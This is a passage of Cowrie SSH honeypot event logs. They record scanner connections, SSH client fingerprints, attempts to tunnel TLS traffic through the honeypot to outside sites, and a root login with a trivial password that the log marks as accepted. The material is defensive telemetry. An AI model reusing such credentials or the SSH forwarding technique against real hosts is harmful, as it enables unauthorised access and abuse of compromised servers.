x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x8a\\x7f\\x01\\xaf).\\xe4\\xa1\\xad\\xdf\\x8e\\xad[\\xa0\\x81\\xe4\\xe0I+*pa\\n\\xd8\\xdf3X\\xaao?\\xf17\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.254.77.2:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03A\\xb5\\x13\\xcbA\\x04\\x13\\xad,\\x9b\\x98k\\x88Ln\\xa0\\xec<\\xa4\\xa7lJQ\\xdc\\xb2f\\xa0@\\xf9\\xd8O\\xe7 OZo\\xc1\\xba\\x19\\xac\\x19\\xca~\\x07A\\x8cs\\x83\\x1e1.\\xb3>*\\r\\xc6\\x80G\\xc8D\\x1b+s\\x89?\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x8a\\x7f\\x01\\xaf).\\xe4\\xa1\\xad\\xdf\\x8e\\xad[\\xa0\\x81\\xe4\\xe0I+*pa\\n\\xd8\\xdf3X\\xaao?\\xf17\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:51.323506Z","src_ip":"185.156.73.233","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.30.157.36","dst_port":443,"src_ip":"185.156.73.233","src_port":33392,"message":"direct-tcp connection request to 184.30.157.36:443 from 127.0.0.1:33392","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:51.473016Z","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.30.157.36","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.30.157.36:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:52.142661Z","src_ip":"185.156.73.233","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.30.157.36","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03T\\x1c\\x14\\xdb\\x19\\xc0U\\x1f\\xc5\\x92Y:\\x11p\\xd66\\x9a\\xe9\\xac?(k\\xfd})\\x1b\\xb2w\\x1ai\\x1bO ['\\xe1=\\x9e?\\xe9\\x9c\\x07\\xcaDg\\xeb)z\\xa3,\\xc9\\xb5\\xe1Hy\\x1b^X\\x1c\\xed.ngL%\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x1e\\x01\\xdc\\xab\\x81\\xdf\\xfc\\xcc4\\xbf~\\x98\\x9b\\x93\\x8d\\xf0\\x90zX\\xf2\\xe8\\xdc\\xe4\\xcf\\xe5!\\x1d_\\xef\\xe5`i\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.30.157.36:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03T\\x1c\\x14\\xdb\\x19\\xc0U\\x1f\\xc5\\x92Y:\\x11p\\xd66\\x9a\\xe9\\xac?(k\\xfd})\\x1b\\xb2w\\x1ai\\x1bO ['\\xe1=\\x9e?\\xe9\\x9c\\x07\\xcaDg\\xeb)z\\xa3,\\xc9\\xb5\\xe1Hy\\x1b^X\\x1c\\xed.ngL%\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x1e\\x01\\xdc\\xab\\x81\\xdf\\xfc\\xcc4\\xbf~\\x98\\x9b\\x93\\x8d\\xf0\\x90zX\\xf2\\xe8\\xdc\\xe4\\xcf\\xe5!\\x1d_\\xef\\xe5`i\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:52.146265Z","src_ip":"185.156.73.233","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.151.119","dst_port":443,"src_ip":"185.156.73.233","src_port":33840,"message":"direct-tcp connection request to 142.251.151.119:443 from 127.0.0.1:33840","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:52.794800Z","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.151.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.151.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:53.262114Z","src_ip":"185.156.73.233","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.151.119","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdb)\\tM\\xda}\\xf9\\xcd\\x0c\\x050d\\xeaHK\\x02z\"\\x8c\\xcd\\xf2\\xd1\\xbe\\xc4\\xd5s\\t\\xea\\xa85`\\\\ \\xceh{l\\xda\\xcf\\x06\\'\\xa5\\xb6b\\x1ao\\xfcp\\xb6\\x92\\x8c\"s\\xbd\\x01\\x05\\x84rs\\xdb\\x99/\\xa3\\xb5\\x94\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\t\\x81\\xc6\\xa1\\xa3\\xb6O\\x12\\xe7Xy\\xcd\\xe9\\xcf\\x85\\xa6\\x11\\xfcP\\xe2\\xado\\x90\\xb2\\xf5\\xfc;\\xd0\\xaf\\xa9\\xd4?\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.151.119:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdb)\\tM\\xda}\\xf9\\xcd\\x0c\\x050d\\xeaHK\\x02z\"\\x8c\\xcd\\xf2\\xd1\\xbe\\xc4\\xd5s\\t\\xea\\xa85`\\\\ \\xceh{l\\xda\\xcf\\x06\\'\\xa5\\xb6b\\x1ao\\xfcp\\xb6\\x92\\x8c\"s\\xbd\\x01\\x05\\x84rs\\xdb\\x99/\\xa3\\xb5\\x94\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\t\\x81\\xc6\\xa1\\xa3\\xb6O\\x12\\xe7Xy\\xcd\\xe9\\xcf\\x85\\xa6\\x11\\xfcP\\xe2\\xado\\x90\\xb2\\xf5\\xfc;\\xd0\\xaf\\xa9\\xd4?\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:53.265745Z","src_ip":"185.156.73.233","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:36:53.793645Z","src_ip":"185.156.73.233","session":"a417d8c4ef7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.20.210.182","src_port":37956,"dst_ip":"159.203.135.109","dst_port":22,"session":"8620e6a025bd","protocol":"ssh","message":"New connection: 125.20.210.182:37956 (159.203.135.109:22) [session: 8620e6a025bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:11.907542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:13.139264Z","src_ip":"125.20.210.182","session":"8620e6a025bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:13.143182Z","src_ip":"125.20.210.182","session":"8620e6a025bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P","message":"login attempt [root/P] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:17.424057Z","src_ip":"125.20.210.182","session":"8620e6a025bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:18.199987Z","src_ip":"125.20.210.182","session":"8620e6a025bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":45282,"dst_ip":"159.203.135.109","dst_port":22,"session":"37e8259faa4e","protocol":"ssh","message":"New connection: 130.12.180.51:45282 (159.203.135.109:22) [session: 37e8259faa4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:19.340527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T18:41:19.347653Z","src_ip":"130.12.180.51","session":"37e8259faa4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-d